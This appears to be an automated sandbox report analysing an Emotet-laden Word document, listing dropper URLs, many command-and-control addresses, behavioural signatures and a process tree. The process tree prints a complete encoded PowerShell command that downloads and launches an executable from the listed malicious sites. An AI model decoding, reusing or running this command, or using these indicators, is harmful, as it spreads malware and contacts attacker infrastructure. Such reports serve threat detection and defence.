Analysis
-
max time kernel
25s -
resource
win10v191014 -
submitted
27-01-2020 20:38
General
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://delhisexclinic.com/zds/jUzItNFoNN/
exe.dropper
https://lelangg.online/uydlcvg/xoZAiAes/
exe.dropper
https://usispf.org/wp-admin/vjWaya/
exe.dropper
https://www.sexylady.space/wp-admin/JM/
exe.dropper
https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/
Extracted
Family
emotet
C2
190.6.193.152:8080
200.69.224.73:80
146.255.96.214:443
74.50.51.115:7080
184.172.27.82:8080
68.183.170.114:8080
45.79.95.107:443
190.210.184.138:995
200.58.83.179:80
113.190.254.245:80
181.29.101.13:8080
185.86.148.222:8080
186.200.205.170:80
139.47.135.215:80
62.75.160.178:8080
190.219.149.236:80
190.210.236.139:80
190.100.153.162:443
91.74.175.46:80
175.139.209.3:8080
200.82.170.231:80
79.7.114.1:80
187.54.225.76:80
69.163.33.84:8080
94.176.234.118:443
203.130.0.69:80
120.150.247.164:80
186.138.186.74:443
113.61.76.239:80
93.144.226.57:80
89.32.150.160:8080
73.125.15.41:80
191.183.21.190:80
192.241.143.52:8080
82.152.149.79:80
68.174.15.223:80
5.88.27.67:8080
189.78.156.8:80
188.216.24.204:80
144.139.228.113:443
185.94.252.12:80
178.79.163.131:8080
186.177.165.196:443
77.55.211.77:8080
212.71.237.140:8080
216.251.83.79:80
202.62.39.111:80
177.103.159.44:80
50.28.51.143:8080
175.114.178.83:443
188.135.15.49:80
72.29.55.174:80
190.17.44.48:80
81.16.1.45:80
68.183.190.199:8080
46.28.111.142:7080
188.218.104.226:80
68.62.245.148:80
190.186.164.23:80
81.213.78.151:443
190.101.144.224:80
186.15.83.52:8080
195.223.215.190:80
2.42.173.240:80
201.213.100.141:8080
114.109.179.60:80
203.25.159.3:8080
5.196.35.138:7080
181.231.220.232:80
109.166.89.91:80
186.68.48.204:443
91.83.93.124:7080
189.201.197.98:8080
94.200.126.42:80
200.123.183.137:443
207.154.204.40:8080
118.200.47.120:443
177.242.21.126:80
37.187.6.63:8080
181.36.42.205:443
191.103.76.34:443
110.170.65.146:80
37.120.185.153:443
190.24.243.186:80
190.131.167.50:80
94.200.114.162:80
181.30.61.163:80
91.242.136.103:80
70.184.69.146:80
2.47.112.72:80
149.62.173.247:8080
144.139.228.113:80
144.139.56.105:80
201.213.32.59:80
73.239.11.159:80
177.188.121.26:443
177.103.157.126:80
181.60.244.48:8080
190.195.129.227:8090
58.162.218.151:80
139.162.118.88:8080
80.11.158.65:8080
129.205.201.163:80
76.69.26.71:80
99.252.27.6:80
204.225.249.100:7080
82.196.15.205:8080
192.241.146.84:8080
91.72.179.214:80
186.15.52.123:80
151.231.7.154:80
87.106.77.40:7080
181.10.204.106:80
151.237.36.220:80
31.16.195.72:80
152.231.89.226:80
125.99.61.162:7080
189.19.81.181:443
2.45.112.134:80
151.80.142.33:80
142.93.114.137:8080
59.120.5.154:80
62.75.143.100:7080
138.68.106.4:7080
79.7.158.208:80
119.59.124.163:8080
172.104.169.32:8080
rsa_pubkey.plain
Signatures
-
Processes:
Powershell.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868 Powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030753000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308060a2b0601040182370a030406082b0601050507030606082b060105050703070f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Powershell.exe -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3644 388 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 3644 Powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
797.exe797.exepid process 4708 797.exe 4356 797.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
Powershell.exe797.exedescription pid process target process PID 3644 wrote to memory of 4708 3644 Powershell.exe 797.exe PID 4708 wrote to memory of 4356 4708 797.exe 797.exe -
Suspicious behavior: EmotetMutantsSpam 1 IoCs
Processes:
797.exepid process 4356 797.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4924 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
WINWORD.EXE797.exe797.exepid process 4924 WINWORD.EXE 4708 797.exe 4356 797.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 3644 Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5560e84be15cbee1d2650beae5cb19cb082942dbeb4a2dd9bb21bf836ca3fa59.doc" /o ""1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4924
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA1⤵
- Modifies system certificate store
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
PID:3644 -
C:\Users\Admin\797.exe"C:\Users\Admin\797.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:4708 -
C:\Users\Admin\797.exe--9698d9533⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
PID:4356
-
-